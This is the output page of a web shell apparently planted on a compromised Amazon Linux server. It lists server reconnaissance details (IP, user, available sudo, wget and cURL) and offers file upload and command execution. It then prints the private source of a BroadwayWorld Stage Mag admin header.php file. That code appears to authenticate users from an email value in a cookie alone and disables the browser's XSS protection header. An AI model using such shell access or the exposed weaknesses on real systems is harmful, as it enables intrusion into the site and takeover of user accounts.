403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.143
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/stagemag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/stagemag/header.php
<?php
ob_start();
require_once __DIR__ . '/functions.php';
init_session();
$currentDateTime = date('Y-m-d H:i:s');
$utime = time();

// Pick auth email deterministically even if multiple cookies exist
$authPick = stagemag_pick_auth_email($_COOKIE, (string)($_SERVER['HTTP_COOKIE'] ?? ''));
$authEmail = $authPick['picked'];

// #region agent log
debug_ndjson_log('E', 'domains/stagemag/header.php:7', 'header entry', [
    'host' => $_SERVER['HTTP_HOST'] ?? '',
    'https' => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 1 : 0,
    'xf_proto' => $_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '',
    'xf_host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? '',
    'xf_for' => isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? substr((string)$_SERVER['HTTP_X_FORWARDED_FOR'], 0, 80) : '',
    'remote_addr' => $_SERVER['REMOTE_ADDR'] ?? '',
    'referer' => $_SERVER['HTTP_REFERER'] ?? '',
    'ua' => substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 120),
    'sec_fetch_site' => $_SERVER['HTTP_SEC_FETCH_SITE'] ?? '',
    'sec_fetch_mode' => $_SERVER['HTTP_SEC_FETCH_MODE'] ?? '',
    'sec_fetch_dest' => $_SERVER['HTTP_SEC_FETCH_DEST'] ?? '',
    'script' => $_SERVER['SCRIPT_NAME'] ?? '',
    'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
    'has_cookie_email' => isset($_COOKIE['email']) ? 1 : 0,
    'cookie_email_len' => isset($_COOKIE['email']) ? strlen((string)$_COOKIE['email']) : 0,
    'cookie_trim_empty' => isset($_COOKIE['email']) ? (trim((string)$_COOKIE['email']) === '' ? 1 : 0) : null,
    'cookie_fp' => isset($_COOKIE['email']) ? substr(sha1((string)$_COOKIE['email']), 0, 10) : '',
    'cookie_raw' => debug_cookie_fingerprints(),
    'auth_pick' => $authPick,
    'session_id' => session_id() ? substr(session_id(), 0, 8) : '',
    'session_keys' => [
        'id' => isset($_SESSION['id']) ? 1 : 0,
        'email' => isset($_SESSION['email']) ? 1 : 0,
        'lname' => isset($_SESSION['lname']) ? 1 : 0,
        'zip' => isset($_SESSION['zip']) ? 1 : 0,
    ],
]);
// #endregion

/* ── Cache / security headers ── */
if (!headers_sent()) {
    header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
    header('Pragma: no-cache');
    header('X-XSS-Protection: 0');
    header('Content-Type: text/html; charset=utf-8');
}

/* ── Authentication ── */
if ($authEmail !== '') {

    // If session already populated, build $getuser from session
    if (isset($_SESSION['id']) && $_SESSION['id'] !== '' && $_SESSION['id'] !== '-1' && isset($_SESSION['zip'])) {

        // Guard: if lname is missing the session is corrupt — force logout
        if (!isset($_SESSION['lname'])) {
            // #region agent log
            debug_ndjson_log('F', 'domains/stagemag/header.php:27', 'forced logout: session missing lname', [
                'script' => $_SERVER['SCRIPT_NAME'] ?? '',
                'has_cookie_email' => isset($_COOKIE['email']) ? 1 : 0,
                'cookie_email_len' => isset($_COOKIE['email']) ? strlen((string)$_COOKIE['email']) : 0,
                'session_id' => session_id() ? substr(session_id(), 0, 8) : '',
            ]);
            // #endregion
            header('Location: /logout.php?force=1&k=' . urlencode($_SESSION['ajaxkey'] ?? '') . '&refer=' . urlencode($_SERVER['SCRIPT_NAME']));
            exit;
        }

        $getuser = [
            'fname'      => $_SESSION['fname'],
            'lname'      => $_SESSION['lname'],
            'email'      => $_SESSION['email'],
            'regadminid' => $_SESSION['regadminid'],
            'id'         => $_SESSION['id'],
            'member'     => $_SESSION['member'],
            'accesslevel'=> $_SESSION['accesslevel'],
            'zip'        => $_SESSION['zip'],
        ];
    }

    // If we still don't have $getuser, query the database
    if (!isset($getuser['id'])) {
        // #region agent log
        debug_ndjson_log('G', 'domains/stagemag/header.php:45', 'db lookup from cookie', [
            'auth_email_fp' => $authPick['picked_fp'] ?? '',
        ]);
        // #endregion
        $stmtUser = db_read()->prepare(
            "SELECT starusers.zip, starusers.id, starusers.fname, starusers.lname,
                    starusers.member, starusers.email, starusers.accesslevel, starusers.regadminid
             FROM bway_bww.starusers
             WHERE email = :email AND confirmed = '1'"
        );
        $stmtUser->execute([':email' => $authEmail]);
        $getuser = $stmtUser->fetch();

        if ($getuser) {
            $_SESSION['fname']      = $getuser['fname'];
            $_SESSION['lname']      = $getuser['lname'];
            $_SESSION['email']      = $getuser['email'];
            $_SESSION['regadminid'] = $getuser['regadminid'];
            $_SESSION['id']         = $getuser['id'];
            $_SESSION['member']     = $getuser['member'];
            $_SESSION['accesslevel']= $getuser['accesslevel'];
            $_SESSION['zip']        = $getuser['zip'];

            // #region agent log
            debug_ndjson_log('G', 'domains/stagemag/header.php:65', 'db lookup success; session populated', [
                'session_id' => session_id() ? substr(session_id(), 0, 8) : '',
                'accesslevel' => isset($getuser['accesslevel']) ? (int)$getuser['accesslevel'] : null,
            ]);
            // #endregion
        } else {
            // #region agent log
            debug_ndjson_log('G', 'domains/stagemag/header.php:72', 'db lookup failed; cookie email not confirmed user', [
                'cookie_email_len' => strlen((string)$_COOKIE['email']),
                'session_id' => session_id() ? substr(session_id(), 0, 8) : '',
            ]);
            // #endregion
        }
    }
}

// If still no valid user or access level too low — redirect to login
if (!isset($getuser['id']) || (int)($getuser['accesslevel'] ?? -1) < 0) {
    // #region agent log
    debug_ndjson_log('H', 'domains/stagemag/header.php:80', 'redirecting to login (no valid user)', [
        'script' => $_SERVER['SCRIPT_NAME'] ?? '',
        'has_programid' => isset($_GET['programid']) ? 1 : 0,
        'programid' => isset($_GET['programid']) ? (string)$_GET['programid'] : '',
        'has_cookie_email' => isset($_COOKIE['email']) ? 1 : 0,
        'cookie_email_len' => isset($_COOKIE['email']) ? strlen((string)$_COOKIE['email']) : 0,
        'xf_proto' => $_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '',
        'referer' => $_SERVER['HTTP_REFERER'] ?? '',
        'ua' => substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 120),
        'sec_fetch_site' => $_SERVER['HTTP_SEC_FETCH_SITE'] ?? '',
        'sec_fetch_mode' => $_SERVER['HTTP_SEC_FETCH_MODE'] ?? '',
        'session_id' => session_id() ? substr(session_id(), 0, 8) : '',
    ]);
    // #endregion
    if (isset($_GET['programid'])) {
        header('Location: /login.php?refer=' . urlencode($_SERVER['SCRIPT_NAME']) . '&programid=' . urlencode($_GET['programid']));
        exit;
    } else {
        header('Location: /login.php?refer=' . urlencode($_SERVER['SCRIPT_NAME']));
        exit;
    }
}

/* ── URL params ── */
$typer = $_GET['typer'] ?? '1';

$pointme  = '12';
$colorme  = 'd4d4d4';
$coloryou = 'efefef';

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$isMobile  = (stripos($userAgent, 'iPhone') !== false || stripos($userAgent, 'android') !== false);
$isIPhone  = (stripos($userAgent, 'iPhone') !== false);

$programid = isset($_GET['programid']) ? intval($_GET['programid']) : null;
?>
<!DOCTYPE html>
<html lang="en">
<head>

<?php if (isset($headercontent)): ?>
<?= $headercontent ?>
<?php else: ?>
<title>BroadwayWorld Stage Mag</title>
<?php endif; ?>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- Tell the browser to be responsive to screen width -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <!-- Favicon icon -->

<link rel="apple-touch-icon-precomposed" sizes="57x57" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-57x57.png" />
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-114x114.png" />
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-72x72.png" />
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-144x144.png" />
<link rel="apple-touch-icon-precomposed" sizes="60x60" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-60x60.png" />
<link rel="apple-touch-icon-precomposed" sizes="120x120" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-120x120.png" />
<link rel="apple-touch-icon-precomposed" sizes="76x76" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-76x76.png" />
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="https://cloudimages.broadwayworld.com/2017/icons/apple-touch-icon-152x152.png" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-196x196.png" sizes="196x196" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-96x96.png" sizes="96x96" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-16x16.png" sizes="16x16" />
<link rel="icon" type="image/png" href="https://cloudimages.broadwayworld.com/2017/icons/favicon-128.png" sizes="128x128" />
<meta name="msapplication-TileImage" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-144x144.png" />
<meta name="msapplication-square70x70logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-70x70.png" />
<meta name="msapplication-square150x150logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-150x150.png" />
<meta name="msapplication-wide310x150logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-310x150.png" />
<meta name="msapplication-square310x310logo" content="https://cloudimages.broadwayworld.com/2017/icons/mstile-310x310.png" />

    <!-- Bootstrap Core CSS -->
    <link href="https://cloudimages.broadwayworld.com/theme/assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet">
    <!-- Custom CSS -->

    <link href="https://cloudadmin.broadwayworld.com/theme/horizontal/css/style3.css" rel="stylesheet">
    <!-- You can change the theme colors from here -->

    <link href="https://cloudimages.broadwayworld.com/theme/horizontal/css/colors/blue.css" id="theme" rel="stylesheet">

<style type="text/css">
.topbar {
    background: #b20223;
}
.sidebar-nav>ul>li>a.active {
     background: transparent;
}
.table-striped tbody tr:nth-of-type(odd) {
    background: #ffff;
}

.container-fluid {
    padding: 0 10px 2px;
    max-width: 1280px;
    margin: 0 auto;
}


.topbar .navbar-header {
background: #b20223;
}

/* Page Title Styling */
#content-header {
    margin-bottom: 20px;
    border-bottom: 2px solid #e0e0e0;
}
#content-header h2 {
    color: #333;
    margin: 0 0 0 10px;
    padding: 10px 20px 12px 16px;
    font-size: 22px;
    font-weight: 600;
    border-left: 4px solid #b20223;
}
</style>

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->

<script data-ezscrex=false data-pagespeed-no-defer data-cfasync=false async >window['gtag_enable_tcf_support'] = true; (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-P3NJDWD');</script>

<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-253633-29"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'UA-253633-29');
</script>


</head>

<body class="fix-header card-no-border logo-center">
        <img src="https://cloud.broadwayworld.com/sitepixel.cfm" width="1" height="1" alt="" style="display:none;" loading="eager" decoding="async">

    <!-- ============================================================== -->
    <!-- Preloader - style you can find in spinners.css -->
    <!-- ============================================================== -->
    <div class="preloader">
        <svg class="circular" viewBox="25 25 50 50">
            <circle class="path" cx="50" cy="50" r="20" fill="none" stroke-width="2" stroke-miterlimit="10" /> </svg>
    </div>
    <!-- ============================================================== -->
    <!-- Main wrapper - style you can find in pages.scss -->
    <!-- ============================================================== -->
    <div id="main-wrapper">
        <!-- ============================================================== -->
        <!-- Topbar header - style you can find in pages.scss -->
        <!-- ============================================================== -->
        <header class="topbar">


<script src="https://cloudadmin.broadwayworld.com/plugins/bower_components/jquery/dist/jquery224.min.js"></script>
   <nav class="navbar top-navbar navbar-expand-md navbar-light">
                <!-- ============================================================== -->
                <!-- Logo -->
                <!-- ============================================================== -->
                <div class="navbar-header">
                    <a class="navbar-brand" href="/">
                        <!-- Logo icon --><b>
                            <!--You can put here icon as well // <i class="wi wi-sunset"></i> //-->
                            <!-- Dark Logo icon -->
                            <img src="https://cloudimages.broadwayworld.com/2018/bwweliteadmin-logo4-2a.png" alt="homepage" class="dark-logo" style="max-height: 59px;" />
                            <!-- Light Logo icon -->
                            <img src="https://cloudimages.broadwayworld.com/2018/bwweliteadmin-logo4-2a.png" alt="homepage" class="light-logo" style="max-height: 59px;" />
                        </b>
                        <!--End Logo icon -->
                        <!-- Logo text --><span>
                         <!-- dark Logo text -->
<img src="https://cloudimages.broadwayworld.com/theme/assets/images/bwwlogo-text2a.png" alt="homepage" class="dark-logo" style="max-height: 20px;"/>
                         <!-- Light Logo text -->
                         <img src="https://cloudimages.broadwayworld.com/stagemag/bww-stagemag2a.png" class="light-logo" alt="homepage" style="max-height: 20px;" /></span> </a>
                </div>
                <!-- ============================================================== -->
                <!-- End Logo -->
                <!-- ============================================================== -->
                <div class="navbar-collapse">
                    <!-- ============================================================== -->
                    <!-- toggle and nav items -->
                    <!-- ============================================================== -->
                    <ul class="navbar-nav mr-auto mt-md-0">
                        <!-- This is  -->
                        <li class="nav-item"> <a class="nav-link nav-toggler hidden-md-up text-muted waves-effect waves-dark" href="javascript:void(0)"><i class="mdi mdi-menu"></i></a> </li>
                        <!-- ============================================================== -->
                        <!-- Comment -->
                        <!-- ============================================================== -->



                        <!-- ============================================================== -->
                        <!-- End Messages -->
                        <!-- ============================================================== -->
                        <!-- ============================================================== -->
                        <!-- Messages -->
                        <!-- ============================================================== -->

                        <!-- ============================================================== -->
                        <!-- End Messages -->
                        <!-- ============================================================== -->
                    </ul>
                    <!-- ============================================================== -->
                    <!-- User profile and search -->
                    <!-- ============================================================== -->
                    <ul class="navbar-nav my-lg-0">
                        <!-- ============================================================== -->
                        <!-- Search -->
                        <!-- ============================================================== -->


                        <!-- ============================================================== -->
                        <!-- Profile -->
                        <!-- ============================================================== -->
<?php if (!$isIPhone): ?>
                        <li class="nav-item dropdown">
                            <a class="nav-link dropdown-toggle text-muted waves-effect waves-dark" href="" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><?= htmlspecialchars($getuser['fname'] ?? '') ?></a>
                            <div class="dropdown-menu dropdown-menu-right scale-up">
                                <ul class="dropdown-user">



<li role="separator" class="divider"></li>

                                    <li><a href="/newmain.php"><i class="fa fa-lightbulb-o"></i> View Main Page</a></li>

                          <li role="separator" class="divider"></li>
                                    <li>
                                        <form action="/logout.php" method="post" style="margin:0; padding:0;">
                                            <input type="hidden" name="k" value="<?= htmlspecialchars($_SESSION['ajaxkey'] ?? '') ?>">
                                            <button type="submit" style="background:none;border:none;padding:0;margin:0;color:inherit;cursor:pointer;">
                                                <i class="fa fa-power-off"></i> Logout
                                            </button>
                                        </form>
                                    </li>

<?php if (isset($getuser['id']) && $getuser['id'] == 26): ?>


                                  <li> <a href="https://cloudadmin.broadwayworld.com/editcol333_ck_cdh_search.cfm?id=2079188&ModPagespeed=off&saved=on" class="waves-effect"> <i data-icon="G" class="linea-icon linea-basic fa-fw"></i> <span class="hide-menu">What's New </span></a>
                      </li>

<?php endif; ?>
                                </ul>
                            </div>
                        </li>
                    </ul>
<?php endif; ?>



                </div>
            </nav>


        </header>


        <!-- ============================================================== -->
        <!-- End Topbar header -->
        <!-- ============================================================== -->
        <!-- ============================================================== -->
        <!-- Left Sidebar - style you can find in sidebar.scss  -->
        <!-- ============================================================== -->


        <aside class="left-sidebar">

            <!-- Sidebar scroll-->
            <div class="scroll-sidebar">


                <!-- Sidebar navigation-->
                <nav class="sidebar-nav" style="margin: auto;
<?php if (!$isIPhone && stripos($userAgent, 'android') === false): ?> width: 46%;<?php endif; ?>">


                    <ul id="sidebarnav">


                   <li> <a class="has-arrow waves-effect waves-dark" href="/index.php" aria-expanded="false"><i class="mdi mdi-gauge"></i><span class="hide-menu">
 Dashboard</span></a>

                        </li>


                      <li> <a href="/programstart.php" class="waves-effect"><i data-icon="m" class="linea-icon linea-basic fa-fw"></i> <span class="hide-menu">Create a Program </span></a>
                      </li>


                <li> <a href="/newmain.php" class="waves-effect"> <i data-icon="o" class="linea-icon linea-basic fa-fw"></i> <span class="hide-menu">Home </span></a>
                      </li>

                        <li> <a href="/newmain-whatsnew.php" class="waves-effect"> <i data-icon="G" class="linea-icon linea-basic fa-fw"></i> <span class="hide-menu">What's New </span></a>
                      </li>



<?php
/* ====================================================================
   MOBILE SIDEBAR  (iPhone / Android only, with programid)
   ==================================================================== */
if ($programid !== null && $isMobile):

    // --- Count badges via prepared statements ---
    $pdo = db_read();

    // Cast count (typer=1)
    $stmtCastCount1 = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.cast WHERE programid = :pid AND typer = 1");
    $stmtCastCount1->execute([':pid' => $programid]);
    $castCount1 = (int)$stmtCastCount1->fetchColumn();

    // Cast count (typer=2 — Creative Team)
    $stmtCastCount2 = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.cast WHERE programid = :pid AND typer = 2");
    $stmtCastCount2->execute([':pid' => $programid]);
    $castCount2 = (int)$stmtCastCount2->fetchColumn();

    // Multimedia photos (typer=1)
    $stmtPhotoCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.multimedia WHERE programid = :pid AND typer = 1");
    $stmtPhotoCount->execute([':pid' => $programid]);
    $photoCount = (int)$stmtPhotoCount->fetchColumn();

    // Multimedia videos (typer=2)
    $stmtVideoCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.multimedia WHERE programid = :pid AND typer = 2");
    $stmtVideoCount->execute([':pid' => $programid]);
    $videoCount = (int)$stmtVideoCount->fetchColumn();

    // Song list length
    $stmtSongLen = $pdo->prepare("SELECT length(songlist) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtSongLen->execute([':pid' => $programid]);
    $songLen = (int)$stmtSongLen->fetchColumn();

    // Opening note length
    $stmtOpenLen = $pdo->prepare("SELECT length(openingnote) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtOpenLen->execute([':pid' => $programid]);
    $openLen = (int)$stmtOpenLen->fetchColumn();

    // Closing note length
    $stmtCloseLen = $pdo->prepare("SELECT length(closingnote) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtCloseLen->execute([':pid' => $programid]);
    $closeLen = (int)$stmtCloseLen->fetchColumn();

    // Donor list length
    $stmtDonorLen = $pdo->prepare("SELECT length(donorlist) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtDonorLen->execute([':pid' => $programid]);
    $donorLen = (int)$stmtDonorLen->fetchColumn();

    // Ads count
    $stmtAdsCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.ads WHERE programid = :pid");
    $stmtAdsCount->execute([':pid' => $programid]);
    $adsCount = (int)$stmtAdsCount->fetchColumn();

    // Articles count
    $stmtArticlesCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.articles WHERE programid = :pid");
    $stmtArticlesCount->execute([':pid' => $programid]);
    $articlesCount = (int)$stmtArticlesCount->fetchColumn();

    // At This Performance — fetch production row
    $stmtDupe = $pdo->prepare("SELECT * FROM stagemag.productions WHERE id = :pid");
    $stmtDupe->execute([':pid' => $programid]);
    $getdupe = $stmtDupe->fetch();
    $todaydate = date('Y-m-d');

    $atThisShowBadge = true;
    if ($getdupe
        && ($getdupe['atthisperformance'] ?? '') !== ''
        && ($getdupe['atthisperformancestart'] ?? '') >= $todaydate
        && ($getdupe['atthisperformanceend'] ?? '') >= $todaydate
    ) {
        $atThisShowBadge = false;
    }

    // Guestbook flag
    $stmtGB = $pdo->prepare("SELECT guestbook FROM stagemag.productions WHERE id = :pid");
    $stmtGB->execute([':pid' => $programid]);
    $guestbookFlag = (int)$stmtGB->fetchColumn();
?>

                  <div class="row">
                    <div class="col-lg-3 col-xlg-2 col-md-4">
                        <div class="stickyside">
                            <div class="list-group" id="top-menu">
                                <a href="https://stagemag.broadwayworld.com/programedit.php?programid=<?= $programid ?>" class="list-group-item active">Edit</a>

                           	<a href="https://stagemag.broadwayworld.com/programedit.php?programid=<?= $programid ?>" class="list-group-item">Settings

                                                    	<a href="programedit-titlepage.php?programid=<?= $programid ?>&typer=1" class="list-group-item">Title Page


                          	<a href="programedit-cast.php?programid=<?= $programid ?>&typer=1" class="list-group-item">Cast
<?php if ($castCount1 === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?></a>
	<a href="programedit-cast.php?programid=<?= $programid ?>&typer=2" class="list-group-item"> Creative Team
<?php if ($castCount2 === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>

	                          	<a href="programedit-multimedia.php?programid=<?= $programid ?>&typer=1" class="list-group-item">Photos
<?php if ($photoCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	                          	</a>
                          	<a href="programedit-multimedia.php?programid=<?= $programid ?>&typer=2" class="list-group-item">Videos <?php if ($videoCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?></a>

	<a href="programedit-text.php?programid=<?= $programid ?>&typer=3" class="list-group-item"> Song List
<?php if ($songLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>

	</a>


	<a href="programedit-text.php?programid=<?= $programid ?>&typer=1" class="list-group-item"> Opening Pages
<?php if ($openLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>
	<a href="programedit-text.php?programid=<?= $programid ?>&typer=2" class="list-group-item"> Closing Pages
<?php if ($closeLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>


	<a href="programedit-text.php?programid=<?= $programid ?>&typer=4" class="list-group-item"> Donor List
<?php if ($donorLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>


	<a href="programedit-ads.php?programid=<?= $programid ?>" class="list-group-item">Ads
<?php if ($adsCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>
	<a href="programedit-articles.php?programid=<?= $programid ?>" class="list-group-item"> Articles
<?php if ($articlesCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>

	</a>


	<a href="programedit-atthisperformance.php?programid=<?= $programid ?>" class="list-group-item"> At This Show
<?php if ($atThisShowBadge): ?>
 	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>

	</a>


	<a href="programedit-pages.php?programid=<?= $programid ?>" class="list-group-item"> Modify Page Titles

	</a>


	<a href="programedit-extrapages.php?programid=<?= $programid ?>" class="list-group-item"> Add Extra Pages

	</a>

		<a href="programedit-features.php?programid=<?= $programid ?>" class="list-group-item"> Interactive Options



                            </div>


                           <br>
                              <div class="list-group" id="top-menu">
                                <a href="" class="list-group-item active">Preview Program</a>

	<a href="preview-program.php?programid=<?= $programid ?>"  class="list-group-item" >Classic</a>

	<a href="preview-program.php?programid=<?= $programid ?>&magtype=2"  class="list-group-item">Modern</a>


                            </div>


                                                       <br>
                              <div class="list-group" id="top-menu">
                                <a href="" class="list-group-item active">Share Program</a>

	<a href="programedit-share.php?programid=<?= $programid ?>"  class="list-group-item" >Share Program</a>

		<a href="programedit-sharepdf.php?programid=<?= $programid ?>"  class="list-group-item" >PDF Program <font color="#b20223">BETA</font></a>

	<a href="programedit-stats.php?programid=<?= $programid ?>"  class="list-group-item">Stats/Subscribers</a>

	<a href="programedit-users.php?programid=<?= $programid ?>"  class="list-group-item">Add Additional Users</a>

<?php if ($guestbookFlag == 1): ?>
    	<a href="programedit-guestbook.php?programid=<?= $programid ?>"  class="list-group-item">Moderate Guestbook</a>
<?php endif; ?>

                            </div>



                        </div>
                    </div>
<?php endif; /* end mobile sidebar */ ?>



                    </ul>
                </nav>
                <!-- End Sidebar navigation -->


            </div>
            <!-- End Sidebar scroll-->

        </aside>
        <!-- ============================================================== -->
        <!-- End Left Sidebar - style you can find in sidebar.scss  -->
        <!-- ============================================================== -->
        <!-- ============================================================== -->
        <!-- Page wrapper  -->
        <!-- ============================================================== -->


        <div class="page-wrapper">


  <div class="container-fluid">


    <script src="https://cloudimages.broadwayworld.com/theme/assets/plugins/bootstrap/js/bootstrap.min.js"></script>
    <!-- slimscrollbar scrollbar JavaScript /theme/horizontal/js/jquery.slimscroll.js -->

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jQuery-slimScroll/1.3.8/jquery.slimscroll.min.js"></script>
    <!--Wave Effects -->
    <script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/waves.js"></script>
    <!--Menu sidebar -->
    <script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/sidebarmenu.js"></script>
    <!--stickey kit -->
    <script src="https://cloudimages.broadwayworld.com/theme/assets/plugins/sticky-kit-master/dist/sticky-kit.min.js"></script>
    <!--Custom JavaScript -->
    <script src="https://cloudimages.broadwayworld.com/theme/horizontal/js/custom.min.js"></script>


  <!-- ============================================================== -->
<?php
/* ====================================================================
   DESKTOP SIDEBAR  (not iPhone, not Android, with numeric programid)
   ==================================================================== */
if ($programid !== null && !$isMobile && is_numeric($_GET['programid'] ?? '')):

    $pdo = db_read();

    // --- Count badges via prepared statements ---
    // Cast count (typer=1)
    $stmtCastCount1 = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.cast WHERE programid = :pid AND typer = 1");
    $stmtCastCount1->execute([':pid' => $programid]);
    $dCastCount1 = (int)$stmtCastCount1->fetchColumn();

    // Cast count (typer=2)
    $stmtCastCount2 = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.cast WHERE programid = :pid AND typer = 2");
    $stmtCastCount2->execute([':pid' => $programid]);
    $dCastCount2 = (int)$stmtCastCount2->fetchColumn();

    // Photos (typer=1)
    $stmtPhotoCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.multimedia WHERE programid = :pid AND typer = 1");
    $stmtPhotoCount->execute([':pid' => $programid]);
    $dPhotoCount = (int)$stmtPhotoCount->fetchColumn();

    // Videos (typer=2)
    $stmtVideoCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.multimedia WHERE programid = :pid AND typer = 2");
    $stmtVideoCount->execute([':pid' => $programid]);
    $dVideoCount = (int)$stmtVideoCount->fetchColumn();

    // Song list length
    $stmtSongLen = $pdo->prepare("SELECT length(songlist) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtSongLen->execute([':pid' => $programid]);
    $dSongLen = (int)$stmtSongLen->fetchColumn();

    // Opening note length
    $stmtOpenLen = $pdo->prepare("SELECT length(openingnote) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtOpenLen->execute([':pid' => $programid]);
    $dOpenLen = (int)$stmtOpenLen->fetchColumn();

    // Closing note length
    $stmtCloseLen = $pdo->prepare("SELECT length(closingnote) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtCloseLen->execute([':pid' => $programid]);
    $dCloseLen = (int)$stmtCloseLen->fetchColumn();

    // Donor list length
    $stmtDonorLen = $pdo->prepare("SELECT length(donorlist) AS counter FROM stagemag.productions WHERE id = :pid");
    $stmtDonorLen->execute([':pid' => $programid]);
    $dDonorLen = (int)$stmtDonorLen->fetchColumn();

    // Ads count
    $stmtAdsCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.ads WHERE programid = :pid");
    $stmtAdsCount->execute([':pid' => $programid]);
    $dAdsCount = (int)$stmtAdsCount->fetchColumn();

    // Articles count
    $stmtArticlesCount = $pdo->prepare("SELECT count(id) AS counter FROM stagemag.articles WHERE programid = :pid");
    $stmtArticlesCount->execute([':pid' => $programid]);
    $dArticlesCount = (int)$stmtArticlesCount->fetchColumn();

    // At This Performance — fetch production row
    $stmtDupe = $pdo->prepare("SELECT * FROM stagemag.productions WHERE id = :pid");
    $stmtDupe->execute([':pid' => $programid]);
    $getdupe = $stmtDupe->fetch();
    $todaydate = date('Y-m-d');

